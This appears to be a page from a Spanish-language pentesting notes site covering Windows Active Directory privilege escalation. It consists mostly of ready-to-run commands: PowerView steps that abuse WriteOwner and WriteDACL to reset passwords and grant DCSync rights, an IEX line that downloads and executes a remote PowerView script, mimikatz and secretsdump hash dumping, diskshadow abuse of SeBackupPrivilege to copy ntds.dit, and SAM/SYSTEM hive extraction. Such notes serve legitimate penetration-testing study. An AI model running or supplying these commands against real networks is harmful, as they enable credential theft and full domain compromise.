CyberSec Notes
  • Bienvenida
    • CyberSec Notes
  • Network Services
    • Port 21 - FTP
    • Port 22 - SSH
    • Port 23 - Telnet
    • Port 25 - SMTP
    • Port 53 - DNS
      • Deploy DNS Server with BIND
    • Port 80/443 - HTTP/HTTPS
      • Wordpress
      • CMS Made Simple (CMSMS)
    • Port 88 - Kerberos
    • Port 386, 636, 3268, 3269 - LDAP
    • Port 445 - SMB
    • Port 1521,1522-1529 - Oracle TNS Listener
    • Port 3128 - Squid
    • Port 5985, 5986 - WinRM
  • Command && Control
    • Sliver C2 [in progress]
  • Ataques en Entornos Windows
    • MalDev
      • AV Evasion
        • Function call obfuscation
      • Code Samples
        • Shellcode Execution C#
        • Shellcode Execution C++
        • Stager HTTP C#
        • Stager HTTP C++
        • Process Inyection C++
        • Process Inyection C#
        • XOR Encrypt C++
    • Directorio Activo
      • Spriying
      • Autenticacion Net-NTLMv2 y tipos de hashes
        • Pass the Hash
        • SMB Relay
      • Autenticación Kerberos
        • Extensiones del protocolo Kerberos (SPNs & PACs)
        • AS_REP Roasting
        • Kerberoasting
        • Silver Ticket Attack
        • Golden Ticket Attack
      • DCSync
      • Mimikatz
      • BloodHound
      • Privilege Escalation
        • PS Credentials in XML format
      • Utils
    • Amsi Bypass
    • Buffer Overflow
      • Stack Based 32 bits [in progress]
        • Windows SLMail 5.5
  • Ataques en Entornos Linux
    • Privilege escalation [in progress]
    • MalDev
      • Simple Reverse Shell
    • Buffer Over Flow
      • Stack Based 32 bits
        • Linux, Vulnerable functions in C programs
    • Persistencia
  • General
    • Host Discovery
    • Reverse Shells Cheet Sheet
    • Pivoting
      • Chisel
      • Port Forwarding
      • Nmap con pivoting
    • Google Dorks [in progress]
    • Denial of Service (DoS)
      • Low and Slow
    • Docker
  • Pentesting Web
    • XML External Entity Injection(XXE)
      • Portswigger Lab #1: Retrieve Files
      • Portswigger Lab #2: Perform SSRF
      • Portswigger Lab #6: Blind XXE to retrieve data via error messages
    • Open Redirect
    • LFI
      • Log Poisoning (Apache, SSH y SMPT)
  • Wireless Pentesting
    • Pre Connection Attacks
      • WEP
      • WPA/WPA2
    • Post Connection Attacks
      • ARP Spoof
    • Fake AP for Captive Portal
Powered by GitBook
On this page
  • Indice
  • Enumeración
  • Privilegios
  • WriteOwner
  • WriteDACL
  • SeBackupPrivilege
  • Dumpear Hashes en memoria a nivel LOCAL
  1. Ataques en Entornos Windows
  2. Directorio Activo

Privilege Escalation

PreviousBloodHoundNextPS Credentials in XML format

Last updated 1 year ago

Indice

Enumeración

# Get current Windows Version
reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName
[Environment]::Is64BitProcess # 32 or 64 bits

### What can i do
whoami /priv
whoami /all

### Users info
net user         # list all users
net user <USER>  # describe user

### List groups
net localgroup        # list all groups
net localgroup <PERM> # list all members of a group

### Powershell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Privilegios

WriteOwner

Este privilegio permite cambiar la contraseña del usuario sobre el que se tenga este privilegio.

### Set the owner of claire in the current domain to tom.
Set-DomainObjectOwner -identity claire -OwnerIdentity tom 

### Give tom permissions to change passwords on that ACL
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword 

### Create powershell credential and change credentials. 
$cred = ConvertTo-SecureString "qwer1234QWER!@#$" -AsPlainText -force
Set-DomainUserPassword -identity claire -accountpassword $cred

WriteDACL

Este privilegio permite modificar el DACL (Discretionary Access Control List) del dominio, permitiendo darle cualquier privilegio que se quiera a un determinado objeto del DC, por ejemplo capacidad de DCSync. Para explotar existosamente se debe importar el script de PowerView.ps1 que nos permitira modificar los ACL.

# Dar privilegios DCSync a un usuario
IEX(New-object System.Net.WebClient).downloadString('http://<url>/Powerview.ps1')
$SecPassword = ConvertTo-SecureString '<user-pass>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<domain>\<user>', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity <domain> -Rights DCSync

# Dumpear hashes
lsadump::dcsync /domain:testlab.local /user:Administrator # Local with Mimikatz
impacket-secretsdump <domain>/<user>@<IP> # Remote with secretsdump

SeBackupPrivilege

Este privilegio permite hacer una copia de seguridad de archivos y directorios.

La explotación se la realiza a traves de diskshadow.exe en donde se copia todo el disco C a un disco que nos vamos a montar nosotros para después poder esta montura aunque no podemos examinar el disco C (o el que queramos analizar).

# Crear un txt con estos parámetros, y agregar un espacio al final de cada línea
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:

# Ejecutar este comando una vez creado el txt para realizar la montura
diskshadow.exe /s c:\<txt-created>.txt

# Realizar la copia
copy z:\Windows\NTDS\ntds.dit .
robocopy /b z:\Windows\NTDS\ . ntds.dit

Dumpear Hashes en memoria a nivel LOCAL

reg save HKLM\system system # Copiar la key system
reg save HKLM\sam sam       # Copiar la key sam


## Ya en kali
impacket-secretsdump -system system -sam sam LOCAL 
impacket-secretsdump -system system -ntds ntds.dit LOCAL

Enumeración
Privilegios
WriteOwner
WriteDACL
SeBackupPrivilege
Dumpear Hashes